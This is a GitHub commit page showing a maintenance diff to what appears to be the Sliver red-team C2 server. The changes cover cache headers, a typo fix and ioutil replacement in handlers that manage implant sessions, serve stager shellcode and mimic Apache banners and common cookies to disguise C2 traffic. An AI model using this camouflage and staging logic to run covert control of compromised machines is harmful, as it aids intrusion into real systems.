Skip to content

Commit

Permalink
Only add cache header to responses that need it
Browse files Browse the repository at this point in the history
  • Loading branch information
moloch-- committed Sep 29, 2022
1 parent 4738bf2 commit e27e030
Show file tree
Hide file tree
Showing 5 changed files with 36 additions and 50 deletions.
48 changes: 29 additions & 19 deletions server/c2/http.go
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,6 @@ import (
"errors"
"fmt"
"io"
"io/ioutil"
insecureRand "math/rand"
"net"
"net/http"
Expand Down Expand Up @@ -79,10 +78,10 @@ var (

// HTTPSession - Holds data related to a sliver c2 session
type HTTPSession struct {
ID string
ImplanConn *core.ImplantConnection
CipherCtx *cryptography.CipherContext
Started time.Time
ID string
ImplantConn *core.ImplantConnection
CipherCtx *cryptography.CipherContext
Started time.Time
}

// HTTPSessions - All currently open HTTP sessions
Expand Down Expand Up @@ -147,7 +146,7 @@ type SliverHTTPC2 struct {

func (s *SliverHTTPC2) getServerHeader() string {
if serverVersionHeader == "" {
switch insecureRand.Intn(1) {
switch insecureRand.Intn(2) {
case 0:
serverVersionHeader = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
default:
Expand All @@ -172,7 +171,9 @@ func (s *SliverHTTPC2) LoadC2Config() *configs.HTTPC2Config {
}

// StartHTTPListener - Start an HTTP(S) listener, this can be used to start both
// HTTP/HTTPS depending on the caller's conf
//
// HTTP/HTTPS depending on the caller's conf
//
// TODO: Better error handling, configurable ACME host/port
func StartHTTPListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
httpLog.Infof("Starting https listener on '%s'", conf.Addr)
Expand Down Expand Up @@ -360,6 +361,10 @@ func (s *SliverHTTPC2) router() *mux.Router {
return router
}

func (s *SliverHTTPC2) noCacheHeader(resp http.ResponseWriter) {
resp.Header().Add("Cache-Control", "no-store, no-cache, must-revalidate")
}

// This filters requests that do not have a valid nonce
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
nonce, err := getNonceFromURL(req.URL)
Expand Down Expand Up @@ -479,6 +484,7 @@ func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http
return err
}
resp.Header().Set("Content-type", contentType)
s.noCacheHeader(resp)
resp.Write(content)
return nil
}
Expand Down Expand Up @@ -507,7 +513,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
s.defaultHandler(resp, req)
return
}
body, err := ioutil.ReadAll(req.Body)
body, err := io.ReadAll(req.Body)
if err != nil {
httpLog.Errorf("Failed to read body %s", err)
s.defaultHandler(resp, req)
Expand Down Expand Up @@ -563,7 +569,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
return
}
httpSession.CipherCtx = cryptography.NewCipherContext(sKey)
httpSession.ImplanConn = core.NewImplantConnection("http(s)", getRemoteAddr(req))
httpSession.ImplantConn = core.NewImplantConnection("http(s)", getRemoteAddr(req))
s.HTTPSessions.Add(httpSession)
httpLog.Infof("Started new session with http session id: %s", httpSession.ID)

Expand All @@ -580,6 +586,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
Secure: false,
HttpOnly: true,
})
s.noCacheHeader(resp)
resp.Write(encoder.Encode(responseCiphertext))
}

Expand All @@ -590,7 +597,7 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
s.defaultHandler(resp, req)
return
}
httpSession.ImplanConn.UpdateLastMessage()
httpSession.ImplantConn.UpdateLastMessage()

plaintext, err := s.readReqBody(httpSession, resp, req)
if err != nil {
Expand All @@ -609,16 +616,16 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
resp.WriteHeader(http.StatusAccepted)
handlers := sliverHandlers.GetHandlers()
if envelope.ID != 0 {
httpSession.ImplanConn.RespMutex.RLock()
defer httpSession.ImplanConn.RespMutex.RUnlock()
if resp, ok := httpSession.ImplanConn.Resp[envelope.ID]; ok {
httpSession.ImplantConn.RespMutex.RLock()
defer httpSession.ImplantConn.RespMutex.RUnlock()
if resp, ok := httpSession.ImplantConn.Resp[envelope.ID]; ok {
resp <- envelope
}
} else if handler, ok := handlers[envelope.Type]; ok {
respEnvelope := handler(httpSession.ImplanConn, envelope.Data)
respEnvelope := handler(httpSession.ImplantConn, envelope.Data)
if respEnvelope != nil {
go func() {
httpSession.ImplanConn.Send <- respEnvelope
httpSession.ImplantConn.Send <- respEnvelope
}()
}
}
Expand All @@ -631,27 +638,29 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
s.defaultHandler(resp, req)
return
}
httpSession.ImplanConn.UpdateLastMessage()
httpSession.ImplantConn.UpdateLastMessage()

// We already know we have a valid nonce because of the middleware filter
nonce, _ := getNonceFromURL(req.URL)
_, encoder, _ := encoders.EncoderFromNonce(nonce)
select {
case envelope := <-httpSession.ImplanConn.Send:
case envelope := <-httpSession.ImplantConn.Send:
resp.WriteHeader(http.StatusOK)
envelopeData, _ := proto.Marshal(envelope)
ciphertext, err := httpSession.CipherCtx.Encrypt(envelopeData)
if err != nil {
httpLog.Errorf("Failed to encrypt message %s", err)
ciphertext = []byte{}
}
s.noCacheHeader(resp)
resp.Write(encoder.Encode(ciphertext))
case <-req.Context().Done():
httpLog.Debug("Poll client hang up")
return
case <-time.After(s.getServerPollTimeout()):
httpLog.Debug("Poll time out")
resp.WriteHeader(http.StatusNoContent)
s.noCacheHeader(resp)
resp.Write([]byte{})
}
}
Expand All @@ -665,7 +674,7 @@ func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseW
return nil, ErrInvalidEncoder
}

body, err := ioutil.ReadAll(&io.LimitedReader{
body, err := io.ReadAll(&io.LimitedReader{
R: req.Body,
N: int64(s.ServerConf.MaxRequestLength),
})
Expand Down Expand Up @@ -723,6 +732,7 @@ func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request)
httpLog.Debug("Stager request")
if len(s.SliverStage) != 0 {
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
s.noCacheHeader(resp)
resp.Write(s.SliverStage)
httpLog.Infof("Serving sliver shellcode (size %d) to %s", len(s.SliverStage), getRemoteAddr(req))
resp.WriteHeader(http.StatusOK)
Expand All @@ -735,7 +745,7 @@ func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
for _, cookie := range req.Cookies() {
httpSession := s.HTTPSessions.Get(cookie.Value)
if httpSession != nil {
httpSession.ImplanConn.UpdateLastMessage()
httpSession.ImplantConn.UpdateLastMessage()
return httpSession
}
}
Expand Down
25 changes: 0 additions & 25 deletions server/c2/jobs.go
Original file line number Diff line number Diff line change
Expand Up @@ -373,31 +373,6 @@ func StartPersistentJobs(cfg *configs.ServerConfig) error {
return nil
}

// checkInterface verifies if an IP address
// is attached to an existing network interface
func checkInterface(a string) bool {
interfaces, err := net.Interfaces()
if err != nil {
return false
}
for _, i := range interfaces {
addresses, err := i.Addrs()
if err != nil {
return false
}
for _, netAddr := range addresses {
addr, err := net.ResolveTCPAddr("tcp", netAddr.String())
if err != nil {
return false
}
if addr.IP.String() == a {
return true
}
}
}
return false
}

// Fuck'in Go - https://stackoverflow.com/questions/30815244/golang-https-server-passing-certfile-and-kyefile-in-terms-of-byte-array
// basically the same as server.ListenAndServerTLS() but we can pass in byte slices instead of file paths
func listenAndServeTLS(srv *http.Server, certPEMBlock, keyPEMBlock []byte) error {
Expand Down
2 changes: 1 addition & 1 deletion server/c2/wireguard.go
Original file line number Diff line number Diff line change
Expand Up @@ -187,7 +187,7 @@ func acceptWGSliverConnections(ln net.Listener) {
func handleWGSliverConnection(conn net.Conn) {
wgLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())

implantConn := core.NewImplantConnection("wg", fmt.Sprintf("%s", conn.RemoteAddr()))
implantConn := core.NewImplantConnection("wg", conn.RemoteAddr().String())
implantConn.UpdateLastMessage()
defer func() {
implantConn.Cleanup()
Expand Down
6 changes: 4 additions & 2 deletions server/configs/http-c2.go
Original file line number Diff line number Diff line change
Expand Up @@ -135,7 +135,9 @@ type NameValueProbability struct {
// .txt = rsakey
// .css = start
// .php = session
// .js = poll
//
// .js = poll
//
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
Expand Down Expand Up @@ -233,7 +235,7 @@ var (
"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS",
},
Headers: []NameValueProbability{
{Name: "Cache-Control", Value: "no-store, no-cache, must-revalidate", Probability: 100},
// {Name: "Cache-Control", Value: "no-store, no-cache, must-revalidate", Probability: 100},
},
},
ImplantConfig: &HTTPC2ImplantConfig{
Expand Down
5 changes: 2 additions & 3 deletions server/configs/server.go
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,6 @@ package configs
import (
"encoding/hex"
"encoding/json"
"io/ioutil"
insecureRand "math/rand"
"os"
"path"
Expand Down Expand Up @@ -152,7 +151,7 @@ func (c *ServerConfig) Save() error {
return err
}
serverConfigLog.Infof("Saving config to %s", configPath)
err = ioutil.WriteFile(configPath, data, 0600)
err = os.WriteFile(configPath, data, 0600)
if err != nil {
serverConfigLog.Errorf("Failed to write config %s", err)
}
Expand Down Expand Up @@ -240,7 +239,7 @@ func GetServerConfig() *ServerConfig {
configPath := GetServerConfigPath()
config := getDefaultServerConfig()
if _, err := os.Stat(configPath); !os.IsNotExist(err) {
data, err := ioutil.ReadFile(configPath)
data, err := os.ReadFile(configPath)
if err != nil {
serverConfigLog.Errorf("Failed to read config file %s", err)
return config
Expand Down

0 comments on commit e27e030

Please sign in to comment.